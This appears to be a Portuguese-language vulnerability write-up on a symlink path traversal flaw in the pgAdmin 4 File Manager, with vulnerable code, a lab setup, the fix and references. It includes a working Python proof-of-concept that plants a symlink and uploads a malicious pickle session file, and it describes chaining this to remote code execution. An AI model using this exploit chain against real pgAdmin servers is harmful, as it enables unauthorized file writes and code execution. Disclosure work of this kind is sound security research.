CVE-2026-7819 — Escrita arbitrária de arquivos via symlink no File Manager do pgAdmin 4

1. Introdução

Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Se você ainda não leu o artigo introdutório, recomendo começar por ele.

A CVE-2026-7819 é uma falha de path traversal via link simbólico no File Manager do pgAdmin 4, com CVSS 8.1 (Alta). O que torna essa falha interessante é o detalhe sutil que a causa: a diferença entre os.path.abspath e os.path.realpath em Python. São duas funções com nomes parecidos que parecem fazer a mesma coisa, mas têm um comportamento completamente diferente quando links simbólicos estão no caminho.

Esse descompasso é a vulnerabilidade: o pgAdmin usava abspath para verificar se um caminho estava dentro do diretório permitido, mas o kernel do sistema operacional usa realpath implicitamente ao escrever o arquivo — e o kernel segue links simbólicos. Resultado: o check de segurança aprovava um caminho que a escrita efetiva enviava para outro lugar.

Aviso: o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.15 do pgAdmin 4.

2. O File Manager do pgAdmin

O pgAdmin tem um gerenciador de arquivos acessível a usuários autenticados. Ele permite navegar, criar, renomear e fazer upload de arquivos dentro do diretório de storage do usuário — por padrão em /var/lib/pgadmin/storage/<email_hash>/.

Para garantir que usuários não escapem do próprio diretório, o código usa a função check_access_permission:

# web/pgadmin/misc/file_manager/__init__.py — antes da correção
@staticmethod
def check_access_permission(in_dir, path, skip_permission_check=False):
    orig_path = os.path.abspath(path)   # resolve '..' mas NÃO symlinks

    if skip_permission_check:
        return orig_path

    # Verificar se o caminho resolvido está dentro de in_dir
    if not orig_path.startswith(in_dir):
        raise PermissionError("Permission denied: access outside storage")
    return orig_path

E a escrita do arquivo de upload:

# Trecho simplificado do upload — antes da correção
def save_file(in_dir, path, fileobj):
    target = Filemanager.check_access_permission(in_dir, path)
    with open(target, 'wb') as f:   # open() segue symlinks
        shutil.copyfileobj(fileobj, f)

3. O problema: abspath vs realpath

A diferença entre as duas funções é crítica:

Função O que resolve Segue symlinks?
os.path.abspath(p) componentes .. e . Não
os.path.realpath(p) componentes .. e . + links simbólicos Sim

Exemplo prático:

import os

# Estrutura: /var/lib/pgadmin/storage/admin/link → /var/lib/pgadmin/sessions/

path = "/var/lib/pgadmin/storage/admin/link/evil_file"

print(os.path.abspath(path))
# → /var/lib/pgadmin/storage/admin/link/evil_file
# (não resolveu o symlink — check passa)

print(os.path.realpath(path))
# → /var/lib/pgadmin/sessions/evil_file
# (resolveu o symlink — destino real fora do storage)

check_access_permission usava abspath, então via /var/lib/pgadmin/storage/admin/link/evil_file a verificação aprovava o caminho porque abspath o enxerga como dentro do storage. Mas o open() chamado depois usava o sistema operacional, que segue o symlink e escreve em /var/lib/pgadmin/sessions/evil_file.

4. O ambiente de laboratório

services:
  pgadmin:
    image: dpage/pgadmin4:9.14
    environment:
      PGADMIN_DEFAULT_EMAIL: admin@lab.dev
      PGADMIN_DEFAULT_PASSWORD: Admin@2024!
      PGADMIN_CONFIG_SERVER_MODE: "True"
    ports:
      - "5050:80"
    volumes:
      - pgadmin_data:/var/lib/pgadmin

5. Explorando a falha

Para plantar o link simbólico no diretório do usuário, precisamos de acesso ao container — mas em cenários reais, o pgAdmin tem uma funcionalidade de criar diretórios via File Manager. O simples de demonstrar é via docker exec:

# Criar symlink dentro do storage do usuário apontando para o diretório de sessões
docker exec pgadmin4_container sh -c \
  "ln -s /var/lib/pgadmin/sessions /var/lib/pgadmin/storage/admin_lab.dev/sessions_link"

Com o link no lugar, o upload de arquivo via API do File Manager passa pelo check_access_permission com um caminho que parece estar dentro do storage do usuário:

import requests
import re
import io

TARGET = "http://localhost:5050"

s = requests.Session()

# 1. Login
csrf_r = s.get(f"{TARGET}/login")
csrf = re.search(r'"csrfToken"\s*:\s*"([^"]+)"', csrf_r.text).group(1)

s.post(f"{TARGET}/authenticate/login",
       headers={"X-pgA-CSRFToken": csrf},
       data={"email": "admin@lab.dev", "password": "Admin@2024!", "csrf_token": csrf},
       allow_redirects=False)

auth_csrf_r = s.get(f"{TARGET}/browser/js/utils.js")
auth_csrf = re.search(
    r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'",
    auth_csrf_r.text
).group(1)

# 2. Upload de arquivo malicioso através do symlink
# O caminho "sessions_link/evil_session" passa no check (abspath não resolve symlink)
# mas é escrito em /var/lib/pgadmin/sessions/evil_session pelo kernel
evil_content = build_malicious_pickle()   # veja CVE-2026-7818 para o payload

s.post(f"{TARGET}/file_manager/filemanager",
       headers={"X-pgA-CSRFToken": auth_csrf},
       data={
           "req": '{"action": "upload", "path": "/sessions_link/", "name": "evil_session"}',
       },
       files={"upload_files": ("evil_session", evil_content, "application/octet-stream")})

5.3 O resultado

O arquivo foi escrito em /var/lib/pgadmin/sessions/evil_session, fora do diretório do usuário. Combinado com a CVE-2026-7818, o passo seguinte seria disparar a desserialização desse arquivo com uma requisição usando Cookie: pga4_session=evil_session!x.

Essa é a cadeia completa: symlink via File Manager → escrita no diretório de sessões → desserialização pickle → RCE.

6. A correção

A correção usou os.path.realpath em vez de os.path.abspath na função check_access_permission, garantindo que links simbólicos fossem resolvidos antes de qualquer comparação de path:

# Depois da correção
@staticmethod
def check_access_permission(in_dir, path, skip_permission_check=False):
    orig_path = os.path.realpath(path)   # agora resolve symlinks também

    if skip_permission_check:
        return orig_path

    in_dir = os.path.realpath(in_dir)   # garantir que in_dir também é resolvido

    if not orig_path.startswith(in_dir):
        raise PermissionError("Permission denied: access outside storage")
    return orig_path

Além disso, a função de abertura de arquivo para upload foi reescrita com O_NOFOLLOW, que instrui o kernel a não seguir symlinks no componente final do caminho:

# _open_upload_target — adicionado na correção
def _open_upload_target(path):
    """Abre o arquivo de destino para escrita sem seguir symlinks."""
    flags = (
        os.O_WRONLY
        | os.O_CREAT
        | os.O_TRUNC
        | getattr(os, 'O_NOFOLLOW', 0)  # O_NOFOLLOW não existe no Windows
    )
    fd = os.open(path, flags, 0o600)   # modo endurecido de 0o644 para 0o600
    return os.fdopen(fd, 'wb')

A mudança de 0o644 para 0o600 no modo do arquivo também reduz a janela de TOCTOU no componente final do caminho, limitando leitura do arquivo ao próprio processo.

Referência: pgadmin4#9902

7. Referências

  1. CWE-61: UNIX Symbolic Link Following
  2. CWE-22: Path Traversal
  3. Python docs — os.path.realpath vs os.path.abspath
  4. Linux man page — open(2), flag O_NOFOLLOW
  5. CVE-2026-7819 no cve.org
  6. Repositório do pgAdmin 4